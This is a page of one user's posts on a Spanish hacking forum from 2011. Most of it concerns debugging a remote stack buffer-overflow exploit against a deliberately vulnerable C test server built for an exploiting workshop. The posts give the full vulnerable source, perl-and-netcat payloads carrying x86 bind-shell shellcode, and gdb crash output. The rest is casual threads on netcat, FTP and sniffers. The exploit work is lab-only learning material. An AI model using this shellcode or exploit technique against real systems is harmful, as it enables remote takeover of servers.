elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 125
211  Seguridad Informática / Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ? en: 18 Febrero 2011, 21:42 pm
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P
_________________________________________________________________________
Vale, modifico, un detallito...

Al activar el randomize_va_space...
Código:
juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38   Starting up...

19/02/2011 13:09:41   Got connection from 127.0.0.1:46633
19/02/2011 13:09:41   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)
RET correcto.

Y al desactivar...
Código:
(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53   Starting up...

19/02/2011 13:10:56   Got connection from 127.0.0.1:60248
19/02/2011 13:10:56   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)

Ambos corren así:
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337

¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente :P
212  Foros Generales / Noticias / Re: "No confíes en tus hijos, róbales las contraseñas" en: 18 Febrero 2011, 21:36 pm
A mi tampoco pero hay cosas que prefiero que no sepan...
Que yo sepa tienes 18/19 añitos xD. De todos modos, todo se debe saber, pero con valores y confianza. Sí, yo los tengo xD

De todas formas, no estoy a favor de esto que los padres espien y/o tengan controlados a los hijos todo el dia, mas bien pienso que lo primero es tener una buena relacion con ellos y que haya confianza para hablar cuando sea necesario, entre otras cosas. no al reves.
Si, ya se que hablo por hablar, pero que vamos, es mi opinion
Te has sacado un diez xD. Eres educador? Estoy de acuerdo contigo

La práctica amigo, la práctica. (Cuando ya llevas 8, te empieza a doler...xD)
Se realista, la sociedad a dado un vuelco y son pocos los adolescentes que tienen una gran confianza con sus padres, y seguro que si nos ponemos, ni hace 20 años les contábamos todo...
¿Por qué lo dices?  :¬¬
Mmm, que malote Tzhed... Sí, para que los adolescentes tengan confianza con sus padres primero tienen que tenerla en la infancia. Y hay que saber cómo (sabeis que hay cursillos matrimoniales sobre eso?). Y lo digo porque siempre me estás respondiendo con una réplica razonable y que me hace pensar xD (no, no es un cumplido, es la verdad  :¬¬); aunque luego re-rrazono y te respondo :P

Un saludo!
213  Seguridad Informática / Bugs y Exploits / Re: ¿ Fallo BoF Remoto Linux ? en: 18 Febrero 2011, 21:29 pm
Hola Javi!

Pues no sé, esta noche vuelvo a la carga  :-\ ... ¿Te funciona con mi comando exacto?
Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104.

Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del
Código
  1. buffer [cont-1]='\0';
No me había dado cuenta de que esto también me afectaba en ese ámbito... xD

Gracias! Seguiré probando...
PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...
214  Seguridad Informática / Bugs y Exploits / ¿ Fallo BoF Remoto Linux ? en: 18 Febrero 2011, 01:10 am
Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int vuln (char *trampa)
  14. {
  15. char buffer [100];
  16. strcpy (buffer, trampa);
  17. }
  18.  
  19. void shutup (int signal)
  20. {
  21. times ();
  22. printf ("Shutting down...\n\n");
  23. close (newsocket);
  24. close (socketfd);
  25. exit (0);
  26. }
  27.  
  28. int times ()
  29. {
  30. time_t now=time (0);
  31. struct tm *ahora;
  32. char buffer [40];
  33. ahora=localtime ((const time_t*)&now);
  34. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  35. printf ("%s   ", buffer);
  36. return 0;
  37. }
  38.  
  39. int main (int argc, char *argv [])
  40. {
  41. time_t now=time (0);
  42. struct tm *ahora;
  43. char hora [40];
  44. ahora=localtime ((const time_t*)&now);
  45. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  46. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  47.  
  48. if (getuid()!=0)
  49. {
  50. printf ("This proccess must be run by root.\n\n");
  51. return 1;
  52. }
  53. if (argc<2)
  54. {
  55. printf ("Use: %s <PORT>\n\n", argv [0]);
  56. return 1;
  57. }
  58. int cont;
  59. struct sockaddr_in client, host;
  60. char buffer [1024];
  61. int size=sizeof (client);
  62.  
  63. socketfd=socket (2, 1 ,  0);
  64. host.sin_family=AF_INET;
  65. host.sin_port=htons (atoi (argv [1]));
  66. host.sin_addr.s_addr=0;
  67. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  68.  
  69. listen (socketfd, 3);
  70.  
  71. times ();
  72. printf ("Starting up...\n\n");
  73.  
  74. signal (SIGTERM, shutup);
  75. signal (SIGINT, shutup);
  76.  
  77. while (1)
  78. {
  79. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  80.  
  81. times ();
  82. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  83.  
  84. cont=recv (newsocket, &buffer, 1024, 0);
  85. while (cont>2)
  86. {
  87. times ();
  88. buffer [cont-1]='\0';
  89. printf ("RECV %d bytes: %s\n", cont, buffer);
  90.  
  91. vuln (buffer);
  92. cont=recv (newsocket, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsocket);
  97. }
  98. close (socketfd);
  99. return 0;
  100. }
  101.  
  102.  

Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555
El null lo pongo porque en la línea ...
Código
  1. while (cont>2)
  2. {
  3. times ();
  4. --> buffer [cont-1]='\0';
  5. printf ("RECV %d bytes: %s\n", cont, buffer);
  6.  
... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...
Código:
juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)
Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini
215  Seguridad Informática / Hacking / Re: Yo...y....Mis dudas con los Cuadernos HackxCrack hoy toca el nº1 en: 18 Febrero 2011, 00:56 am
De nada!
Bueno, nosotros no podemos. Luego le escribiré a algún mod para que lo mueva, pero no pasa nada...

Sí. Así se ejecuta el cliente FTP de Windows. Todo va por comandos, a la vieja usanza. Es mucho más rápido, seguro, etc...
Y es fácil porque es un navegador. De todos modos, cada herramienta a su cosa. Es como usar Lynx para ver el foro :P (ver webs desde el shell). La diferencia son las ventajas.

Busca lo que más te guste y especialízate en eso. Yo aún no he posteado en algunos foros del fondo :-o jaja

216  Seguridad Informática / Hacking / Re: Yo...y....Mis dudas con los Cuadernos HackxCrack hoy toca el nº1 en: 18 Febrero 2011, 00:33 am
Hola! Bien bienvenido jaja!
Pues esto puede que vaya en Dudas Generales, pero no pasa nada xD...

Vale, pues a mi me parece que el problema está en que tu versión de IE no es compatible con el servidor FTP. Te recomiendo que uses clientes de FTP hechos para ser clientes de FTP, en vez de navegadores. En tu sistema hay uno llamado "ftp" jaja...

Y te animo a que sigas preguntando todo lo que quieras, que aquí estamos para ayudarte
Un saludo
Sagrini
217  Foros Generales / Dudas Generales / Re: como hacer chat entre dos pc? en: 18 Febrero 2011, 00:07 am
Será broma, no?
1) Qué distribución usas.
2) Qué fallo te da.
3) Que versión de NC tienes

Tienes que hacer en dos terminales diferentes en Ubuntu (en un sólo PC)
Código:
nc -vlp 31337
Código:
nc -vv localhost 31337
218  Seguridad Informática / Desafíos - Wargames / [RETO] Adivina POR QUÉ no funciona... en: 18 Febrero 2011, 00:05 am
MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
Código
  1. buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código
  1. sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int feo ()
  14. {
  15. printf ("FEO");
  16. exit (1);
  17. }
  18.  
  19. int vuln (char *trampa)
  20. {
  21. char buffer [100];
  22. strcpy (buffer, trampa);
  23. }
  24.  
  25. void shutup (int signal)
  26. {
  27. times ();
  28. printf ("Shutting down...\n\n");
  29. close (newsocket);
  30. close (socketfd);
  31. exit (0);
  32. }
  33.  
  34. int times ()
  35. {
  36. time_t now=time (0);
  37. struct tm *ahora;
  38. char buffer [40];
  39. ahora=localtime ((const time_t*)&now);
  40. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  41. printf ("%s   ", buffer);
  42. return 0;
  43. }
  44.  
  45. int main (int argc, char *argv [])
  46. {
  47. time_t now=time (0);
  48. struct tm *ahora;
  49. char hora [40];
  50. ahora=localtime ((const time_t*)&now);
  51. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  52. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  53.  
  54. if (getuid()!=0)
  55. {
  56. printf ("This proccess must be run by root.\n\n");
  57. return 1;
  58. }
  59. if (argc<2)
  60. {
  61. printf ("Use: %s <PORT>\n\n", argv [0]);
  62. return 1;
  63. }
  64. int cont;
  65. struct sockaddr_in client, host;
  66. char buffer [1024];
  67. int size=sizeof (client);
  68.  
  69. socketfd=socket (2, 1 ,  0);
  70. host.sin_family=AF_INET;
  71. host.sin_port=htons (atoi (argv [1]));
  72. host.sin_addr.s_addr=0;
  73. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  74.  
  75. listen (socketfd, 3);
  76.  
  77. times ();
  78. printf ("Starting up...\n\n");
  79.  
  80. signal (SIGTERM, shutup);
  81. signal (SIGINT, shutup);
  82.  
  83. while (1)
  84. {
  85. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  86.  
  87. times ();
  88. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  89.  
  90. cont=recv (newsocket, &buffer, 1024, 0);
  91. while (cont>2)
  92. {
  93. times ();
  94. buffer [cont-1]='\0';
  95. printf ("RECV %d bytes: %s\n", cont, buffer);
  96.  
  97. vuln (buffer);
  98. cont=recv (newsocket, &buffer, 1024, 0);
  99. }
  100. times ();
  101. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  102. close (newsocket);
  103. }
  104. close (socketfd);
  105. return 0;
  106. }
  107.  

Y lo estaba explotando con este comando...
Código:
 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335 

Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)

La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD
219  Foros Generales / Dudas Generales / Re: como hacer chat entre dos pc? en: 17 Febrero 2011, 23:57 pm
Si no te va...
1) O es fallo del telnet
2) O es fallo del NC.
3) O es tu conexión.

3 descartado, pues has podido responder xD

Vamos a ver si es el NC:
Terminal 1
Código:
nc -vlp 31337
Terminal 2
Código:
nc -vv localhost 31337
Si puedes hablar entre los dos es fallo del telnet. Si te falla es que te estás equivocando en algo...

Ahora, si es fallo del telnet hazme caso y descarga el NC.

Suerte!
220  Seguridad Informática / Hacking / Re: Soy nuevo, sniffer en: 17 Febrero 2011, 23:31 pm
Hola a todos me acabo de registrar en esta comunidad con la intención de aprender mas sobre la informática, en primer lugar quisiera que me recomendaríais algún sniffer de red para ubuntu y con un manual detallado porque he encontrado bastantes como netcat pero no se utilizarlo, en windows solía usar abel&cain pero aun así no me funcionaba al 100% de lo que yo quería pues eso si me podéis recomendar alguno sencillo o alguno con un manual os lo agradecería muchísimo.
Gracias
Jaja! Has buscado como loco!

Bueno, bromas aparte, bienvenido xD
Yo te recomiendo tcpdump (puede que algo entrevesado xD) o dsniff (dicen que es más sencillito :P)

Suerte!
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines